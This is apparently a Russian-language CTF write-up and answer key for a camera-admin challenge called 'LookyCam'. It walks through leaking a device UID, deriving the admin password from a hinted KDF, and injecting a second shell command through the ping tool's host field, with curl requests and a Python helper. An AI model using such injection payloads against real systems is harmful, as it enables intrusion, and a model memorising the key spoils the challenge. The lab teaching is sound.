Files
Kubok-Regionov/GAME/camera/writeup.md
2025-12-22 05:19:38 +03:00

2.5 KiB
Raw Permalink Blame History

Writeup: LookyCam (camera)

Ниже — ожидаемый путь решения: добыть UID, вычислить пароль администратора по подсказанной KDF, получить RCE через ping и собрать финальный ключ.

Шаги решения

  1. PWD_PART_A -получили из стеги в хранилище
  2. Открыть /login и получить CAMERA_UID. Он приходит в заголовке X-Device-Id и дублируется на странице.
  3. Сымитировать 3 неудачных логина. После третьей попытки сервер вернёт заголовок X-Password-KDF с формулой: sha1(part + ":" + uid)[0:10].
  4. Подставить известную часть partA и посчитать пароль: password = sha1(partA:uid)[:10].
  5. Войти в /admin под admin с этим паролем и получить сессию.
  6. В /admin/tools/ping есть command injection: значение host без фильтрации попадает в sh -lc "ping ... ${host}". Через ; можно выполнить произвольные команды и прочитать переменные окружения: 127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C
  7. Из ответа взять PWD_PART_C и флаг RCE.
  8. Посчитать ключ для /admin/redeem: key = sha1(partA:partC:uid)[:16].
  9. Отправить ключ в /admin/redeem и получить финальный флаг.

Примеры запросов

# 1) UID
curl -i http://<host>/login

# 2) 3 фейл-логина, смотрим X-Password-KDF в ответе
curl -i -d "username=admin&password=bad" http://<host>/login

# 3) Логин с правильным паролем
curl -i -c cookies.txt -d "username=admin&password=<calc>" http://<host>/login

# 4) Инъекция в ping
curl -i -b cookies.txt -d "host=127.0.0.1; echo RCE:\$CAMERA_RCE_FLAG; echo PARTC:\$PWD_PART_C" \
  http://<host>/admin/tools/ping

# 5) Редим финального флага
curl -i -b cookies.txt -d "key=<calc>" http://<host>/admin/redeem
import hashlib

def sha1(x: str) -> str:
    return hashlib.sha1(x.encode()).hexdigest()

uid = "LCAM-9f31"
part_a = "..."
part_c = "..."

password = sha1(f"{part_a}:{uid}")[:10]
key = sha1(f"{part_a}:{part_c}:{uid}")[:16]
print(password, key)